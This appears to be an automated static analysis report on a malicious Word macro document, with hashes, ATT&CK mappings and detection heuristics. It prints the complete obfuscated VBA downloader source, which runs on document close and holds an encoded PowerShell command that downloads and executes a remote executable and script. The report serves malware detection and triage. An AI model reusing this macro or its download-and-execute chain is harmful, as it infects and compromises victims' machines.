Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b4898ad9f1757bd6…

MALICIOUS

Office (OOXML)

71.1 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-01-11
MD5: 1a75be6c77ffedd2cde402495ddbe668 SHA-1: b8a3f39c3f8e61b4ea3de7973b749ff470da162c SHA-256: b4898ad9f1757bd6f127fd9a539f393004654608037ba94b3a62a81166fd1163
324 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing VBA macros. The AutoClose macro utilizes GetObject to interact with WMI, specifically launching a process via Win32_Process.Create. This is a common technique for downloading and executing secondary payloads. The ClamAV detection 'Doc.Downloader.Powload-6707242-0' further supports its role as a downloader.

Heuristics 8

  • ClamAV: Doc.Downloader.Powload-6707242-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6707242-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3380 bytes
SHA-256: 1b8ce13389dcad2c234ef1835b64a9a92c2a51a6f603bebd48fc49443fde7996
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function esparsette(miltsick)
  Const distelfink = 0
  agathokakological = "."
  Set pearlike = GetObject("winmgmts:" _
      & "{impersonationLevel=impersonate}!\\" _
      & agathokakological & "\root\cimv2")
  Set uptightness = pearlike.Get("Win32_ProcessStartup")
  Set rediscipline = uptightness.SpawnInstance_
  rediscipline.ShowWindow = distelfink

  Set chetrum = pearlike.Get("Win32_Process")
  laboratorial = chetrum.Create _
      (miltsick, Null, rediscipline, intProcessID)
End Function


Private Function oudemian(reburial)
  unsorrowing = Array("V", "M", "9", "", "L", "p", "H", "q", "w", "v", "0", "x", "t", "n", "c", "J", "S", "D", "k", "T", "b")
  panchayat = Array("h", "E", "B", "t", "C", "c", "y", "-", "o", "e", "a", "w", " ", "s", "x", "N", "l", ".", "r", "i", "p")
  
  encommon = vbNullString
  
  For Each glyphography In reburial
    snicker = barouche(glyphography, unsorrowing, UBound(unsorrowing))
    If snicker > -1 Then
    encommon = panchayat(snicker) & encommon
    End If
  Next
  
  oudemian = StrReverse(encommon)
  
End Function

Public Function barouche(cycadophyta, discarding, piscicultural)
  amaryllises = 3
  bother = 1992
  For amaryllises = 0 To piscicultural
    If discarding(amaryllises) = cycadophyta Then
     bother = amaryllises
    End If
  Next

  If bother = 1992 Then
    bother = -1
  End If
  
  barouche = bother
End Function

Sub AutoClose()
  reburial = Array("b", "w", "x", "v", "k", "n", "V", "v", "S", "S", "D", "v", "c", "v", "t", "q", "J", "w", "M", "c", "T", "", "t", "q", "M", "c", "v", "p", "t", "9", "H", "b", "0", "n", "n", "t", "q", "M", "L", "t")
  batiste = "IAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGsAawBhAG4AcwBkAHEAdwBqAGUAZQBxAGIAbgB2AGMAegBtAHgAYwAuAGMAbwBtAC8AUwBTAC8AZABvAGcALgB0AHoAbQAnACwAIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQAgACsAIAAnAFwAYQAwAGIAOQA2ADkANABmAC4AZQB4AGUAJwApADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAJwBcAGEAMABiADkANgA5ADQAZgAuAGUAeABlACcAOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAGsAawBhAG4AcwBkAHEAdwBqAGUAZQBxAGIAbgB2AGMAegBtAHgAYwAuAGMAbwBtAC8AcwAuAHAAaABwAD8AaQBkAD0AZABvAGcAJwApADsAIABJAEUAWAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAGMAbgBoAG8AdABlAGwAdABlAHgALgBjAG8AbQAvAFMAdABhAHQALgBjAG8AdQBuAHQAJwApACkAOwA="
  annapurna = oudemian(reburial)
  
  Application.Run "emptied", annapurna + batiste
  
End Sub


Private Sub emptied(miltsick)
   
   aktivismus = DateDiff("s", #1/1/1970#, Now())
   sesquioxide = True
   
   While sesquioxide
     supportance = aktivismus + 60
     If supportance - aktivismus > 1 Then
       Application.Run "esparsette", (miltsick)
       sesquioxide = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 27136 bytes
SHA-256: e512c384c2123d053b7d612037779b9db1e4ecd6515d8aaaf86ff2005102299f
Detection
ClamAV: Doc.Downloader.Powload-6707242-0
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).